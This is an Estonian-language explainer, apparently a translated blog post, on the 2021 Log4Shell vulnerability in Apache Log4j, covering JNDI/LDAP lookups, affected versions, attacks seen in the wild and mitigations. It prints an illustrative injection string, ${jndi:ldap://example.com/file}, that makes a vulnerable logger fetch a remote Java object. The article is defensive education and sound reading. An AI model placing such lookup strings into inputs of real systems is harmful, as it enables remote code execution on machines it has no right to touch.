Sisukord[Peida][Näita]
2021. aasta novembri lõpus avastasime suure ohu küberjulgeolekule. See ärakasutamine võib potentsiaalselt mõjutada miljoneid arvutisüsteeme kogu maailmas.
See on juhend Log4j haavatavuse kohta ja selle kohta, kuidas tähelepanuta jäetud disainiviga jättis 90% maailma arvutiteenustest rünnaku avatuks.
Apache Log4j on avatud lähtekoodiga Java-põhine logiutiliit, mille on välja töötanud Apache Software Foundation. Algselt kirjutas see 2001. aastal Ceki Gülcü, kuid nüüd on see osa Apache Software Foundationi projektist Apache Logging Services.
Ettevõtted üle maailma kasutavad oma rakendustes sisselogimiseks Log4j teeki. Tegelikult on Java teek nii üldlevinud, et leiate selle Amazoni, Microsofti, Google'i ja teiste rakendustest.
Teegi silmapaistvus tähendab, et mis tahes võimalik viga koodis võib jätta miljonid arvutid häkkimise avatuks. 24. novembril 2021 a pilve turvalisus Alibabas töötav teadlane avastas kohutava vea.
Log4j haavatavus, tuntud ka kui Log4Shell, eksisteeris märkamatult alates 2013. aastast. Haavatavus võimaldas pahatahtlikel toimijatel käivitada koodi mõjutatud süsteemides, kus töötab Log4j. See avalikustati 9. detsembril 2021
Tööstuse eksperdid nimetavad Log4Shelli puudust viimase aja mälu suurim haavatavus.
Haavatavuse avaldamisele järgnenud nädalal avastasid küberturbe meeskonnad miljoneid ründeid. Mõned teadlased täheldasid isegi üle saja rünnaku minutis.
Kuidas see toimib?
Et mõista, miks Log4Shell nii ohtlik on, peame mõistma, milleks see võimeline on.
Log4Shelli haavatavus võimaldab suvalist koodi käivitamist, mis põhimõtteliselt tähendab, et ründaja võib sihtmasinas käivitada mis tahes käsu või koodi.
Kuidas see seda saavutab?
Esiteks peame mõistma, mis on JNDI.
Java nimede andmise ja kataloogi liides (JNDI) on Java teenus, mis võimaldab Java programmidel nime kaudu andmeid ja ressursse leida ja otsida. Need kataloogiteenused on olulised, kuna need pakuvad arendajatele organiseeritud kirjete komplekti, millele rakenduste loomisel hõlpsasti viidata.
JNDI saab teatud kataloogile juurdepääsuks kasutada erinevaid protokolle. Üks neist protokollidest on Lightweight Directory Access Protocol ehk LDAP.
Stringi logimisel log4j sooritab stringi asendusi, kui nad kohtavad vormi väljendeid ${prefix:name}
.
Näiteks Text: ${java:version}
võidakse logida tekstina: Java versioon 1.8.0_65. Seda tüüpi asendused on tavalised.
Meil võivad olla ka väljendid nagu Text: ${jndi:ldap://example.com/file}
mis kasutab JNDI-süsteemi Java-objekti laadimiseks URL-ist LDAP-protokolli kaudu.
See laadib sellelt URL-ilt pärinevad andmed tõhusalt masinasse. Iga potentsiaalne häkker võib majutada pahatahtlikku koodi avalikul URL-il ja oodata, kuni Log4j-d kasutavad masinad selle logivad.
Kuna logisõnumite sisu sisaldab kasutaja kontrollitavaid andmeid, saavad häkkerid sisestada oma JNDI-viited, mis osutavad nende juhitavatele LDAP-serveritele. Need LDAP-serverid võivad olla täis pahatahtlikke Java-objekte, mida JNDI saab läbi haavatavuse käivitada.
Asja teeb hullemaks see, et pole vahet, kas rakendus on serveri- või kliendipoolne.
Kuni logijal on võimalus ründaja pahatahtlikku koodi lugeda, on rakendus endiselt avatud ärakasutamiseks.
Keda see mõjutab?
Haavatavus mõjutab kõiki süsteeme ja teenuseid, mis kasutavad APache Log4j versiooni 2.0 kuni 2.14.1 (kaasa arvatud).
Mitmed turbeeksperdid soovitavad, et haavatavus võib mõjutada mitmeid Java-d kasutavaid rakendusi.
Viga avastati esmakordselt Microsoftile kuuluvas Minecrafti videomängus. Microsoft on kutsunud oma kasutajaid üles uuendama oma Java väljaande Minecrafti tarkvara, et vältida mis tahes ohtu.
Küberturvalisuse ja infrastruktuuri turbeagentuuri (CISA) direktor Jen Easterly ütleb, et müüjatel on suur vastutus et takistada lõppkasutajatel seda haavatavust ära kasutamast.
Tarnijad peaksid ka oma klientidega suhtlema tagamaks, et lõppkasutajad teavad, et nende toode sisaldab seda haavatavust, ja peaksid tarkvaravärskendusi eelistama.
Rünnakud on väidetavalt juba alanud. Küberturvatarkvara pakkuv ettevõte Symantec on täheldanud erinevat arvu rünnakutaotlusi.
Siin on mõned näited teadlaste tuvastatud rünnakute tüüpidest:
- botnet
Botivõrgud on arvutite võrgustik, mis on ühe ründava osapoole kontrolli all. Need aitavad sooritada DDoS-i rünnakuid, varastada andmeid ja muid pettusi. Teadlased jälgisid Muhstiku botnetti skriptides, mis laaditi alla Log4j-st.
- XMRig Miner Trooja
XMRig on avatud lähtekoodiga krüptovaluuta kaevandaja, mis kasutab Monero märgi kaevandamiseks protsessoreid. Küberkurjategijad saavad installida XMRig-i inimeste seadmetesse, et nad saaksid oma töötlemisvõimsust ilma nende teadmata kasutada.
- Khonsari lunavara
Lunavara viitab pahavara vormile, mis on loodud selleks krüpteerida faile arvutis. Ründajad saavad seejärel nõuda tasu krüptitud failidele juurdepääsu tagamise eest. Teadlased avastasid Log4Shelli rünnakutes Khonsari lunavara. Need sihivad Windowsi servereid ja kasutavad .NET-i raamistikku.
Mis saab edasi?
Eksperdid ennustavad, et Log4J haavatavusest põhjustatud kaose täielikuks parandamiseks võib kuluda kuid või isegi aastaid.
See protsess hõlmab iga mõjutatud süsteemi värskendamist paigatud versiooniga. Isegi kui kõik need süsteemid on paigatud, on endiselt oht, et häkkerid on juba lisanud aknasse, et serverid olid rünnakuteks avatud.
Palju lahendusi ja leevendusi olemas, et vältida rakenduste ärakasutamist selle vea poolt. Uus Log4j versioon 2.15.0-rc1 muutis selle haavatavuse leevendamiseks erinevaid sätteid.
Kõik JNDI-d kasutavad funktsioonid on vaikimisi keelatud ja ka kaugotsingud on samuti piiratud. Otsingufunktsiooni keelamine oma Log4j seadistuses aitab vähendada võimalike ärakasutamiste ohtu.
Väljaspool Log4j-d on endiselt vaja laiemat plaani avatud lähtekoodiga ärakasutamise vältimiseks.
Mai alguses andis Valge Maja välja an täitevvõimu mille eesmärk oli parandada riiklikku küberjulgeolekut. See sisaldas sätet tarkvara materjalide arvele (SBOM), mis oli sisuliselt ametlik dokument, mis sisaldas kõigi rakenduse koostamiseks vajalike üksuste loendit.
See hõlmab selliseid osi nagu avatud lähtekoodiga arenduseks kasutatavad paketid, sõltuvused ja API-d. Kuigi SBOMide idee on läbipaistvuse suurendamiseks kasulik, kas see tõesti aitab tarbijat?
Sõltuvuste täiendamine võib olla liiga tülikas. Ettevõtted võivad lihtsalt valida trahvide maksmise, selle asemel, et riskida alternatiivsete pakettide otsimisega lisaaega raisata. Võib-olla on need SBOM-id kasulikud ainult siis, kui nende ulatus on veelgi piiratud.
Järeldus
Log4j probleem on organisatsioonide jaoks enamat kui lihtsalt tehniline probleem.
Ettevõtete juhid peavad olema teadlikud võimalikest riskidest, mis võivad tekkida, kui nende serverid, tooted või teenused tuginevad koodile, mida nad ise ei halda.
Avatud lähtekoodiga ja kolmanda osapoole rakendustele tuginemisega kaasneb alati teatud risk. Ettevõtted peaksid enne uute ohtude ilmnemist kaaluma riskide maandamise strateegiate väljatöötamist.
Suur osa veebist tugineb avatud lähtekoodiga tarkvarale, mida haldavad tuhanded vabatahtlikud üle maailma.
Kui tahame hoida veebi turvalisena, peaksid valitsused ja ettevõtted investeerima avatud lähtekoodiga tegevuste ja küberjulgeolekuagentuuride rahastamisse, näiteks CISA.
Jäta vastus